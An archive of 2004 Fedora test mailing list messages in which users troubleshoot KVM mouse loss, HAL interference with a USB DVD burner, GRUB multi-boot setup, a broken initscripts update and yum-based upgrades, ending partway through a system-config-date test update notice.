In-Reply-To: References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> Message-ID: <1101597185.7306.21.camel@oscar.metro1.com> On Sat, 2004-11-27 at 17:05 -0600, Jeremy Rosengren wrote: > I have almost the exact same setup: Logitech USB mouse with PS/2 > convertor with a Belkin OmniCube 2-port KVM. It's not all the time > that I see the mouse go away completely, but I have seen it since > installing FC3. Is there a pertinent bugzilla entry I should attach > comments to? > > Thanks, > > -- jeremy I think https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132471 is the one Jeff said reports this issue. Sean From clydekunkel7734 at cox.net Sun Nov 28 00:58:33 2004 From: clydekunkel7734 at cox.net (Clyde E. Kunkel) Date: Sat, 27 Nov 2004 19:58:33 -0500 Subject: KVM mouse even worse In-Reply-To: <1101594409.7306.14.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> Message-ID: <1101603513.3874.16.camel@localhost.localdomain> On Sat, 2004-11-27 at 14:26 -0800, Sean Bruno wrote: > My settings are identical. However, I am using a USB mouse(MS > Intellimouse Optical) with a PS2 adapter on a belkin KVM. Shouldn't be > an issue, but is this something too weird? > A few months back there was a msg on fedora-list about the PS2 adapter contributing to the KVM problem. That caused me to get an out-of-the- box PS2 mouse. The problems did persist and I had to add psmouse.proto=bare to grub. Then when I installed FC3T1 I was able to remove the psmouse.proto and all was well. Good luck. Regards, Clyde Kunkel From sean.bruno at dsl-only.net Sun Nov 28 01:02:40 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sat, 27 Nov 2004 17:02:40 -0800 Subject: KVM mouse even worse In-Reply-To: <1101603513.3874.16.camel@localhost.localdomain> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> <1101603513.3874.16.camel@localhost.localdomain> Message-ID: <1101603760.7306.29.camel@oscar.metro1.com> I will try a standard PS2 mouse and see if it works. From bpm at ec-group.com Sun Nov 28 00:59:51 2004 From: bpm at ec-group.com (Brian Millett) Date: Sat, 27 Nov 2004 18:59:51 -0600 (CST) Subject: how to have hal be selective Message-ID: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> Hello, I just purchased a DVD+-RW drive that I put into a usb 2.0 enclosure. The manufacture is: scsi0 : SCSI emulation for USB Mass Storage devices Vendor: MAD DOG Model: MD-16XDVD9 Rev: 2.F6 Type: CD-ROM ANSI SCSI revision: 02 It looks like to burn anything (dvd/cd) with this external device, I have to stop haldaemon. If I do not, then I have coasters. My question is, is there any way to have hal ignore this device when a blank cd/dvd is inserted? I, ofcourse, would want hal to mount any valid disk that is inserted. Thanks. Oh yeah, I am running rawhide yumed on top of FC3. -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From jerryw4386 at msn.com Sun Nov 28 01:46:03 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Sat, 27 Nov 2004 17:46:03 -0800 Subject: Booting with Grub Message-ID: Hi is it possible to have FC3 on one hard drive 1 Win Xp.service 2 on 2 hard drive Fedora core 3 test 3 on 3 hard drive and have it where Grub will boot up to them and what order should thay be in ? Thanks Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From P.R.Schaffner at IEEE.org Sun Nov 28 02:48:42 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sat, 27 Nov 2004 21:48:42 -0500 Subject: Booting with Grub In-Reply-To: References: Message-ID: <1101610122.13658.11.camel@tabb1.tabb> On Sat, 2004-11-27 at 17:46 -0800, JERRY WHITMIRE wrote: > Hi is it possible to have FC3 on one hard drive 1 > Win Xp.service 2 on 2 hard drive > Fedora core 3 test 3 on 3 hard drive Still hangin' in there with FC3T3 I see. > and have it where Grub will boot up to them Yes. It is not necessary to have them all on separate disks. Could have them all on one disk on different partitions, or some mix. Win XP generally wants to be on a primary partition, and you might have to have grub fool it into thinking it is on the first disk. For example, if XP is on the second disk... title WinXP on hde1 map (hd0) (hd1) map (hd1) (hd0) rootnoverify (hd1,0) chainloader +1 May need /boot partitions for both OSs in the first 1024 cylinders on their respective disks, depending on the BIOS. > and what order should thay be in > ? Not sure what you mean here. The order is determined by the order of the boot stanzas in /boot/grub/grub.conf while the default is determined by the "default=X" line, the first stanza being X=0, the second X=1, etc. Phil From vadim at overture.com Sun Nov 28 04:01:54 2004 From: vadim at overture.com (Vadim) Date: Sat, 27 Nov 2004 20:01:54 -0800 Subject: Booting with Grub In-Reply-To: References: Message-ID: <1101614514.5373.5.camel@localhost.localdomain> On a similar note. Why did we stop supporting LILO? -V On Sat, 2004-11-27 at 17:46 -0800, JERRY WHITMIRE wrote: > Hi is it possible to have FC3 on one hard drive 1 > Win Xp.service 2 on 2 hard drive > Fedora core 3 test 3 on 3 hard drive > and have it where Grub will boot up to them and what order should thay be in > ? > Thanks > Jerry W. Whitmire > jerryw4386 at msn.com > > _________________________________________________________________ > Express yourself instantly with MSN Messenger! Download today - it's FREE! > http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: From P.R.Schaffner at IEEE.org Sun Nov 28 04:35:15 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sat, 27 Nov 2004 23:35:15 -0500 Subject: Booting with Grub In-Reply-To: <1101614514.5373.5.camel@localhost.localdomain> References: <1101614514.5373.5.camel@localhost.localdomain> Message-ID: <1101616516.8184.6.camel@tabb1.tabb> On Sat, 2004-11-27 at 20:01 -0800, Vadim wrote: > On a similar note. > Why did we stop supporting LILO? Because GRUB is more powerful, has a shell, doesn't have to be reinstalled every time the config is changed? Good old LILO is still there in the base distribution if you want to use it. Quite a few people still seem to like it, or maybe old habits die hard. Phil From jspaleta at gmail.com Sun Nov 28 04:58:50 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 27 Nov 2004 23:58:50 -0500 Subject: how to have hal be selective In-Reply-To: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> Message-ID: <604aa79104112720587d9dae4c@mail.gmail.com> On Sat, 27 Nov 2004 18:59:51 -0600 (CST), Brian Millett wrote: > > Hello, I just purchased a DVD+-RW drive that I put into a usb 2.0 > enclosure. The manufacture is: > > scsi0 : SCSI emulation for USB Mass Storage devices > Vendor: MAD DOG Model: MD-16XDVD9 Rev: 2.F6 > Type: CD-ROM ANSI SCSI revision: 02 > > It looks like to burn anything (dvd/cd) with this external device, I have > to stop haldaemon. If I do not, then I have coasters. > > My question is, is there any way to have hal ignore this device when a > blank cd/dvd is inserted? I, ofcourse, would want hal to mount any valid > disk that is inserted. Hal doesnt mount anything by itself.... maybe you are refering to gnome-volume-manager, which interacts with hal to mount storage devices and deal with removable media when inserted.. assuming you are running gnome. My understanding is, at least in gnome, it should be enough to disable gnome-volume-manager's handling of blank writable dvd/cd media. Of course disabling hal completely has the side-effect of preventing gnome-volume-manager from doing anything useful, since gnome-volume-manager relies on hal running to sense hardware. But based on my admittedly limited understanding of how the software stack built up around hal works, the problem i think you are describing is with gnome-volume-manager or whatever kde's equivlant is and not with hal specifically. -jef From michal at harddata.com Sun Nov 28 06:16:34 2004 From: michal at harddata.com (Michal Jaegermann) Date: Sat, 27 Nov 2004 23:16:34 -0700 Subject: /usr has vanished completely! In-Reply-To: <1101516574.3451.10.camel@localhost.localdomain>; from paul@all-the-johnsons.co.uk on Sat, Nov 27, 2004 at 12:49:34AM +0000 References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> <20041126172515.A20236@mail.harddata.com> <20041126173530.A20617@mail.harddata.com> <1101516574.3451.10.camel@localhost.localdomain> Message-ID: <20041127231634.A22274@mail.harddata.com> On Sat, Nov 27, 2004 at 12:49:34AM +0000, Paul wrote: > > Latest initscripts are to blame. Drop back down a version and all > returns to sanity, well, mostly all... Previous version of initscripts is also broken even if consequences are not so dire. I did some investigations. In /etc/rc.d/rc.sysinit there are lines which say: # Enter mounted filesystems into /etc/mtab mount -a -f Put directly before that 'mount -a' (without quotes, of course). This does not solve all troubles but at least makes a system bootable (even if you will notice such "details" like possibly a missing entry for '/' in /etc/mtab and that also means that '/' will not show up in an output of 'df'; this can be fixed too but I do not see a "one-liner"). Michal From ojgbagg27ab at msn.com Sun Nov 28 05:53:06 2004 From: ojgbagg27ab at msn.com (alton bailey) Date: Sun, 28 Nov 2004 00:53:06 -0500 Subject: [Samba] Re: A little help with nss_ldap - User xxx in passdb, but getpwnam() fails! References: <41A773A6.1010500@mch.one.pl> <200411261131.20896.jht@Samba.Org> <41A77E63.80807@mch.one.pl> <77AA8B8B-3FF1-11D9-B82F-000D93586032@anu.edu.au> <41A7AB8E.4050107@mch.one.pl> Message-ID: I am looking for an rpm file (Crypt-SmbHash) can some one point me to this file in rpm format ----- Original Message ----- From: Tomasz Chmielewski To: samba at lists.samba.org Sent: Friday, November 26, 2004 5:17 PM Subject: Re: [Samba] Re: A little help with nss_ldap - User xxx in passdb,but getpwnam() fails! Robert Silvia wrote: > Great... > > I wonder what type of mirgration will be available when samba 4 comes... and when it comes? :) Don't know of migration, but if Samba 4 will use LDAP-compatibile backed, it should be something like dumping old LDAP and importing it to Samba. Tomek -- To unsubscribe from this list go to the following URL and read the instructions: http://lists.samba.org/mailman/listinfo/samba -------------- next part -------------- An HTML attachment was scrubbed... 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In-Reply-To: References: <41A773A6.1010500@mch.one.pl> <200411261131.20896.jht@Samba.Org> <41A77E63.80807@mch.one.pl> <77AA8B8B-3FF1-11D9-B82F-000D93586032@anu.edu.au> <41A7AB8E.4050107@mch.one.pl> Message-ID: <1101623602.22761.56.camel@serendipity.dogma.lan> Am So, den 28.11.2004 schrieb alton bailey um 6:53: > I am looking for an rpm file (Crypt-SmbHash) can some one point me to this file in rpm format 1) http://dag.wieers.com/packages/perl-Crypt-SmbHash/ 2) http://crash.fce.vutbr.cz/crash-hat/3/perl-Crypt-SmbHash/ Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.9-1.6_FC2smp Serendipity 07:32:19 up 8 days, 2:19, load average: 1.23, 0.87, 0.75 -------------- next part -------------- A non-text attachment was scrubbed... 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Quite a few people still seem to like it, or maybe old habits die >hard. > $ /usr/share/comps-extras/whichcd.py lilo lilo-21.4.4-26.i386.rpm is on disc 3 you can find the discussion and some reasons for lilo in the list archives especially october 2003 http://www.redhat.com/archives/fedora-test-list/2003-October/thread.html <...> <...> <...> http://www.redhat.com/archives/fedora-test-list/2003-November/thread.html http://www.redhat.com/archives/fedora-test-list/2003-November/msg00624.html -------- > > It was removed, now is just deprecated. Since it's back in, it should not > > be > > "deprecated" or it should be gone. "Deprecated" is not the place for it. > > http://www.redhat.com/archives/fedora-test-list/2003-October/msg02834.html > > Deprecate is where packages go when they are going to be replaced. Hmmm. OK. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From bpm at ec-group.com Sun Nov 28 14:09:11 2004 From: bpm at ec-group.com (Brian Millett) Date: Sun, 28 Nov 2004 08:09:11 -0600 (CST) Subject: how to have hal be selective In-Reply-To: <604aa79104112720587d9dae4c@mail.gmail.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> Message-ID: <33518.68.92.85.103.1101650951.squirrel@webmail.ec-group.com> > On Sat, 27 Nov 2004 18:59:51 -0600 (CST), Brian Millett > wrote: >> >> Hello, I just purchased a DVD+-RW drive that I put into a usb 2.0 >> enclosure. The manufacture is: >> >> scsi0 : SCSI emulation for USB Mass Storage devices >> Vendor: MAD DOG Model: MD-16XDVD9 Rev: 2.F6 >> Type: CD-ROM ANSI SCSI revision: 02 >> >> It looks like to burn anything (dvd/cd) with this external device, I >> have to stop haldaemon. If I do not, then I have coasters. >> >> My question is, is there any way to have hal ignore this device when a >> blank cd/dvd is inserted? I, ofcourse, would want hal to mount any >> valid disk that is inserted. > > Hal doesnt mount anything by itself.... > maybe you are refering to gnome-volume-manager, which interacts with hal > to mount storage devices and deal with removable media when > inserted.. assuming you are running gnome. My understanding is, at > least in gnome, it should be enough to disable gnome-volume-manager's > handling of blank writable dvd/cd media. Jeff, Thanks. Yep I am running gnome. Running gnome-volume-properties shows that blank cds are disabled. However, if I put one in (cd/dvd) they show up being handled by nautilus-cd-burn-whatever-comand. What I have here is a failure to communicate. I'm going to stroll over to bugzilla and see if it is there, if not file it. Thanks. -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From bpm at ec-group.com Sun Nov 28 14:23:46 2004 From: bpm at ec-group.com (Brian Millett) Date: Sun, 28 Nov 2004 08:23:46 -0600 (CST) Subject: how to have hal be selective In-Reply-To: <33518.68.92.85.103.1101650951.squirrel@webmail.ec-group.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <33518.68.92.85.103.1101650951.squirrel@webmail.ec-group.com> Message-ID: <33526.68.92.85.103.1101651826.squirrel@webmail.ec-group.com> > >> On Sat, 27 Nov 2004 18:59:51 -0600 (CST), Brian Millett >> wrote: >>> >>> Hello, I just purchased a DVD+-RW drive that I put into a usb 2.0 >>> enclosure. The manufacture is: >>> >>> scsi0 : SCSI emulation for USB Mass Storage devices >>> Vendor: MAD DOG Model: MD-16XDVD9 Rev: 2.F6 >>> Type: CD-ROM ANSI SCSI revision: 02 >>> >>> It looks like to burn anything (dvd/cd) with this external device, I >>> have to stop haldaemon. If I do not, then I have coasters. >>> >>> My question is, is there any way to have hal ignore this device when >>> a blank cd/dvd is inserted? I, ofcourse, would want hal to mount any >>> valid disk that is inserted. >> >> Hal doesnt mount anything by itself.... >> maybe you are refering to gnome-volume-manager, which interacts with >> hal to mount storage devices and deal with removable media when >> inserted.. assuming you are running gnome. My understanding is, at >> least in gnome, it should be enough to disable gnome-volume-manager's >> handling of blank writable dvd/cd media. > > Jeff, > Thanks. Yep I am running gnome. Running gnome-volume-properties > shows > that blank cds are disabled. However, if I put one in (cd/dvd) they > show up being handled by nautilus-cd-burn-whatever-comand. What I have > here is a failure to communicate. Well, before I filed a bug, I tried stopping g-v-m and inserted a blank cd. Nuts! It shows up. So any ideas what is really handling mounting blank media? Or is that a bug? Or am I just not testing correctly? -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From vherva at viasys.com Sun Nov 28 14:30:38 2004 From: vherva at viasys.com (Ville Herva) Date: Sun, 28 Nov 2004 16:30:38 +0200 Subject: yum upgrade? Message-ID: <20041128143038.GP11949@viasys.com> On Sat, Nov 09, 1963 at 03:01:01PM +0000, seth vidal wrote: > > To upgrade via yum the short version goes like this: > > 1. backup all your data > 2. upgrade yum to yum from fc3 > 3. upgrade fedora-release to fedora-release from fc3 > 4. make sure all your repositories point where you think they should > point. > 5. run yum list updates - just to make sure things seem sane and working > 6. make sure you are NOT in X and X is not loaded > 6. from a terminal prompt run: yum upgrade > 7. wait wait wait > 8. you must reboot before using your system again > 9. reboot the system and make sure you select the new kernel, not the > old one(s) > 10. once your system is fully booted you may want to install some > additional items. Recommended: > yum groupupdate "GNOME Desktop Environment" > > let me know what problems you encounter. Based on my recent experience, it usually works, but often requires some tinkering. It even works from older distros than FC2, but be prepared for some improvized and sometimes dirty manual rpm -Uvh --force work :-I. I would like to add a few steps to Seth's instructions: In case you didn't have selinux enabled previously (the relabeling may be a good idea anyhow): 7.1) yum install selinux-policy-targeted policycoreutils (or selinux-policy-strict if you please) 7.2) touch /.autorelabel This will force selinux relabeling on next boot. Make sure the next kernel to boot is the new (selinux-enabled) one. I'm not sure if this (between 7 and 8) is the best place for it. It seems to work. Also, make sure you have enough disk space (and memory) for a large yum upgrade. May sound dumb, but I just managed to get my yum upgrade interrupted by both insufficiencies :-). -- v -- v at iki.fi From alan at redhat.com Sun Nov 28 15:45:58 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 28 Nov 2004 10:45:58 -0500 Subject: how to have hal be selective In-Reply-To: <604aa79104112720587d9dae4c@mail.gmail.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> Message-ID: <20041128154558.GA549@devserv.devel.redhat.com> On Sat, Nov 27, 2004 at 11:58:50PM -0500, Jeff Spaleta wrote: > Hal doesnt mount anything by itself.... > maybe you are refering to gnome-volume-manager, which interacts with > hal to mount storage devices and deal with removable media when > inserted.. assuming you are running gnome. My understanding is, at Hal polls devices and that is enough to screw up USB burners sometimes, to break ide burns if there are two drives on the same bus one burning one being probed, and other stuff. From guhvies at gmail.com Sun Nov 28 15:47:54 2004 From: guhvies at gmail.com (ne...) Date: Sun, 28 Nov 2004 10:47:54 -0500 Subject: Shutting off sound In-Reply-To: <1101642669.8604.23.camel@localhost.localdomain> References: <1101642669.8604.23.camel@localhost.localdomain> Message-ID: On Sun, 28 Nov 2004 11:51:09 +0000, Paul wrote: > Hi, > > To ensure that I get a good sleep of a weekend, I need to be able to > shut off the sound until 10am on a Sat and Sun morning. What do I need > to do to shut off the sound. > > His box is still using FC2. And this is with which TEST release? N.Emile... -- Registered Linux User # 125653 (http://counter.li.org) Certified: 75% bastard, 42% of which is tard. http://www.thespark.com/bastardtest From lee_connell at hotmail.com Sun Nov 28 16:50:59 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Sun, 28 Nov 2004 11:50:59 -0500 Subject: gpdf Message-ID: Hi all, I noticed in gpdf when opening a pdf it creates the sidebar menus, but i can't navigate the document via the sidebar menus, it does not navigate to the document location. Is this suppose to be this way now? Anyone else notice the same situation? Lee From shrek-m at gmx.de Sun Nov 28 17:25:15 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Sun, 28 Nov 2004 18:25:15 +0100 Subject: gpdf In-Reply-To: References: Message-ID: <41AA09FB.50901@gmx.de> Lee Connell wrote: > I noticed in gpdf when opening a pdf it creates the sidebar menus, but > i can't navigate the document via the sidebar menus, it does not > navigate to the document location. Is this suppose to be this way > now? Anyone else notice the same situation? yes and gpdf is extremly slow $ rpm -q gpdf ggv xpdf gpdf-2.8.0-8 ggv-2.8.0-1 xpdf-3.00-10 $ pdfinfo /mnt/hdb4/doku/samba/howto/Samba-HOWTO-Collection-20040410.pdf Title: Subject: Keywords: Author: Creator: LaTeX with hyperref package Producer: pdfTeX-1.10b CreationDate: Sat Apr 10 09:18:00 2004 Tagged: no Pages: 484 Encrypted: no Page size: 504 x 666 pts File size: 3208038 bytes Optimized: no PDF version: 1.4 $ time gpdf /mnt/hdb4/doku/samba/howto/Samba-HOWTO-Collection-20040410.pdf (processing bookmarks ..., processing thumbnail ...) real 1m1.526s user 0m0.386s sys 0m0.189s $ time ggv /mnt/hdb4/doku/samba/howto/Samba-HOWTO-Collection-20040410.pdf real 0m4.969s user 0m0.344s sys 0m0.127s $ time xpdf /mnt/hdb4/doku/samba/howto/Samba-HOWTO-Collection-20040410.pdf real 0m2.433s user 0m0.381s sys 0m0.150s $ time acroread /mnt/hdb4/doku/samba/howto/Samba-HOWTO-Collection-20040410.pdf real 0m3.325s user 0m0.506s sys 0m0.164s -- shrek-m From mpg at redhat.com Sun Nov 28 18:52:18 2004 From: mpg at redhat.com (Marco Pesenti Gritti) Date: Sun, 28 Nov 2004 19:52:18 +0100 Subject: gpdf In-Reply-To: References: Message-ID: <1101667938.3014.3.camel@localhost.localdomain> On Sun, 2004-11-28 at 11:50 -0500, Lee Connell wrote: > Hi all, > > I noticed in gpdf when opening a pdf it creates the sidebar menus, but i > can't navigate the document via the sidebar menus, it does not navigate to > the document location. Is this suppose to be this way now? Anyone else > notice the same situation? Hi, what gpdf version? Does it happen with all pdf documents? Marco From sean.bruno at dsl-only.net Sun Nov 28 23:42:53 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Sun, 28 Nov 2004 15:42:53 -0800 Subject: KVM mouse even worse In-Reply-To: <1101603760.7306.29.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> <1101603513.3874.16.camel@localhost.localdomain> <1101603760.7306.29.camel@oscar.metro1.com> Message-ID: <1101685373.26018.11.camel@oscar.metro1.com> On Sat, 2004-11-27 at 17:02 -0800, Sean Bruno wrote: > I will try a standard PS2 mouse and see if it works. I replaced my USB optical mouse that was connected via a USB/PS2 adapter with a standard PS2 mouse today. When I switched between different machines, the mouse did not lose sync any longer. What should I do at this point? Chuck the PS2 adapter? Sean From david at fubar.dk Mon Nov 29 03:41:17 2004 From: david at fubar.dk (David Zeuthen) Date: Sun, 28 Nov 2004 22:41:17 -0500 Subject: how to have hal be selective In-Reply-To: <20041128154558.GA549@devserv.devel.redhat.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <20041128154558.GA549@devserv.devel.redhat.com> Message-ID: <1101699678.3085.3.camel@davidz> On Sun, 2004-11-28 at 10:45 -0500, Alan Cox wrote: > On Sat, Nov 27, 2004 at 11:58:50PM -0500, Jeff Spaleta wrote: > > Hal doesnt mount anything by itself.... > > maybe you are refering to gnome-volume-manager, which interacts with > > hal to mount storage devices and deal with removable media when > > inserted.. assuming you are running gnome. My understanding is, at > > Hal polls devices and that is enough to screw up USB burners sometimes, to > break ide burns if there are two drives on the same bus one burning one being > probed, and other stuff. > That would *really* surprise me. Remember: when polling on optical drives, hald uses O_EXCL and that should make open(2) fail with EBUSY if someone else has opened that device O_EXCL - and all cd recording software in the Fedora distribution should do that otherwise it's a bug. So, assuming that hald gets EBUSY on attempting to open with O_EXCL, why should that interfere with the hardware at all and thus break them? Cheers, David From arjanv at redhat.com Mon Nov 29 08:13:26 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Mon, 29 Nov 2004 09:13:26 +0100 Subject: how to have hal be selective In-Reply-To: <1101699678.3085.3.camel@davidz> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <20041128154558.GA549@devserv.devel.redhat.com> <1101699678.3085.3.camel@davidz> Message-ID: <1101716006.2814.35.camel@laptop.fenrus.org> > That would *really* surprise me. > > Remember: when polling on optical drives, hald uses O_EXCL and that > should make open(2) fail with EBUSY if someone else has opened that > device O_EXCL - and all cd recording software in the Fedora distribution > should do that otherwise it's a bug. you missed the point. Hal polls the *other* IDE device on the bus. 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Kunkel) Date: Sun, 28 Nov 2004 23:12:46 -0500 Subject: KVM mouse even worse In-Reply-To: <1101685373.26018.11.camel@oscar.metro1.com> References: <1101580660.7306.4.camel@oscar.metro1.com> <1101582256.3874.6.camel@localhost.localdomain> <1101583035.7306.11.camel@oscar.metro1.com> <1101585167.3874.9.camel@localhost.localdomain> <1101594409.7306.14.camel@oscar.metro1.com> <1101603513.3874.16.camel@localhost.localdomain> <1101603760.7306.29.camel@oscar.metro1.com> <1101685373.26018.11.camel@oscar.metro1.com> Message-ID: <1101701566.3879.0.camel@localhost.localdomain> On Sun, 2004-11-28 at 15:42 -0800, Sean Bruno wrote: > On Sat, 2004-11-27 at 17:02 -0800, Sean Bruno wrote: > > I will try a standard PS2 mouse and see if it works. > > I replaced my USB optical mouse that was connected via a USB/PS2 adapter > with a standard PS2 mouse today. When I switched between different > machines, the mouse did not lose sync any longer. > > What should I do at this point? Chuck the PS2 adapter? > > Sean > Bugzilla? From nphilipp at redhat.com Mon Nov 29 08:47:06 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Mon, 29 Nov 2004 09:47:06 +0100 Subject: Fedora Core 2 Test Update: system-config-date-1.7.13-0.fc2.1 Message-ID: <1101718026.23271.1.camel@wombat.tiptoe.de> This release updates system-config-date to the current codebase. Please test extensively, barring problems I plan to release this as final within a week or so. Nils --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-469 2004-11-29 --------------------------------------------------------------------- Product : Fedora Core 2 Name : system-config-date Version : 1.7.13 Release : 0.fc2.1 Summary : A graphical interface for modifying system date and time Description : system-config-date is a graphical interface for changing the system date and time, configuring the system time zone, and setting up the NTP daemon to synchronize the time of the system with a NTP time server. --------------------------------------------------------------------- * Fri Nov 26 2004 Nils Philippsen 1.7.13-0.fc2.1 - enable Gujarati and Tamil translations (#140881) * Mon Nov 22 2004 Nils Philippsen 1.7.12-1 - remove wrongly encoded character (#140318) and duplicate word from French man page * Wed Sep 29 2004 Nils Philippsen 1.7.11-1 - avoid GtkDeprecationWarning on gtk.mainquit on new pygtk (#134043) * Tue Sep 28 2004 Nils Philippsen 1.7.10-1 - make timezone page contents actually be shown in firstboot * Tue Sep 28 2004 Nils Philippsen 1.7.9-1 - enable choosing which notebook page(s) to show (for firstboot, #133748) - some minor firstboot API changes, conflict with firstboot <= 1.3.26 - some minor UI tweaks - remove pool.ntp.org from list of NTP server choices as system-config-date doesn't handle multi-IP machines really well ATM * Fri Sep 17 2004 Nils Philippsen 1.7.8-1 - use pool.ntp.org as first choice of NTP servers (#132787) * Thu Sep 16 2004 Nils Philippsen 1.7.7-2 - buildrequire python * Tue Sep 14 2004 Nils Philippsen 1.7.7-1 - byte-compile python files - first shot at something like an interface for firstboot * Mon Sep 13 2004 Nils Philippsen - get widget sensitivity correct on startup (#132431) * Fri Sep 03 2004 Nils Philippsen 1.7.5-1 - actually display time zone map (#131641) - put NTP stuff into own tab to better accommodate firstboot (#131314) - add accelerators to Date & Time tab * Fri Aug 27 2004 Nils Philippsen 1.7.4-1 - handle multiple servers, broadcastclient (#115148), local time source (#72110) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/2/ 6d42525e0305336ce4043ae69d10077f SRPMS/system-config-date-1.7.13-0.fc2.1.src.rpm ab1ee3214319620109886b1d0537ba57 x86_64/system-config-date-1.7.13-0.fc2.1.noarch.rpm ab1ee3214319620109886b1d0537ba57 i386/system-config-date-1.7.13-0.fc2.1.noarch.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. 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Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ From alan at redhat.com Mon Nov 29 09:37:58 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 29 Nov 2004 04:37:58 -0500 Subject: how to have hal be selective In-Reply-To: <1101699678.3085.3.camel@davidz> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <20041128154558.GA549@devserv.devel.redhat.com> <1101699678.3085.3.camel@davidz> Message-ID: <20041129093758.GB8338@devserv.devel.redhat.com> On Sun, Nov 28, 2004 at 10:41:17PM -0500, David Zeuthen wrote: > Remember: when polling on optical drives, hald uses O_EXCL and that > should make open(2) fail with EBUSY if someone else has opened that > device O_EXCL - and all cd recording software in the Fedora distribution > should do that otherwise it's a bug. > > So, assuming that hald gets EBUSY on attempting to open with O_EXCL, why > should that interfere with the hardware at all and thus break them? For USB I don't know. That baffles me still. For IDE I can cause it when there are two devices on the bus because the HAL probe locks the bus talking to one device and that stalls the CD write on the other. IDE master/slave operations cannot occur in parallel so it just needs a slow to respond CD probe and a fairly fast CD writer to run out of buffer. Alan From nphilipp at redhat.com Mon Nov 29 08:47:06 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Mon, 29 Nov 2004 09:47:06 +0100 Subject: Fedora Core 2 Test Update: system-config-date-1.7.13-0.fc2.1 Message-ID: <1101718026.23271.1.camel@wombat.tiptoe.de> This release updates system-config-date to the current codebase. Please test extensively, barring problems I plan to release this as final within a week or so. Nils --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-469 2004-11-29 --------------------------------------------------------------------- Product : Fedora Core 2 Name : system-config-date Version : 1.7.13 Release : 0.fc2.1 Summary : A graphical interface for modifying system date and time Description : system-config-date is a graphical interface for changing the system date and time, configuring the system time zone, and setting up the NTP daemon to synchronize the time of the system with a NTP time server. --------------------------------------------------------------------- * Fri Nov 26 2004 Nils Philippsen 1.7.13-0.fc2.1 - enable Gujarati and Tamil translations (#140881) * Mon Nov 22 2004 Nils Philippsen 1.7.12-1 - remove wrongly encoded character (#140318) and duplicate word from French man page * Wed Sep 29 2004 Nils Philippsen 1.7.11-1 - avoid GtkDeprecationWarning on gtk.mainquit on new pygtk (#134043) * Tue Sep 28 2004 Nils Philippsen 1.7.10-1 - make timezone page contents actually be shown in firstboot * Tue Sep 28 2004 Nils Philippsen 1.7.9-1 - enable choosing which notebook page(s) to show (for firstboot, #133748) - some minor firstboot API 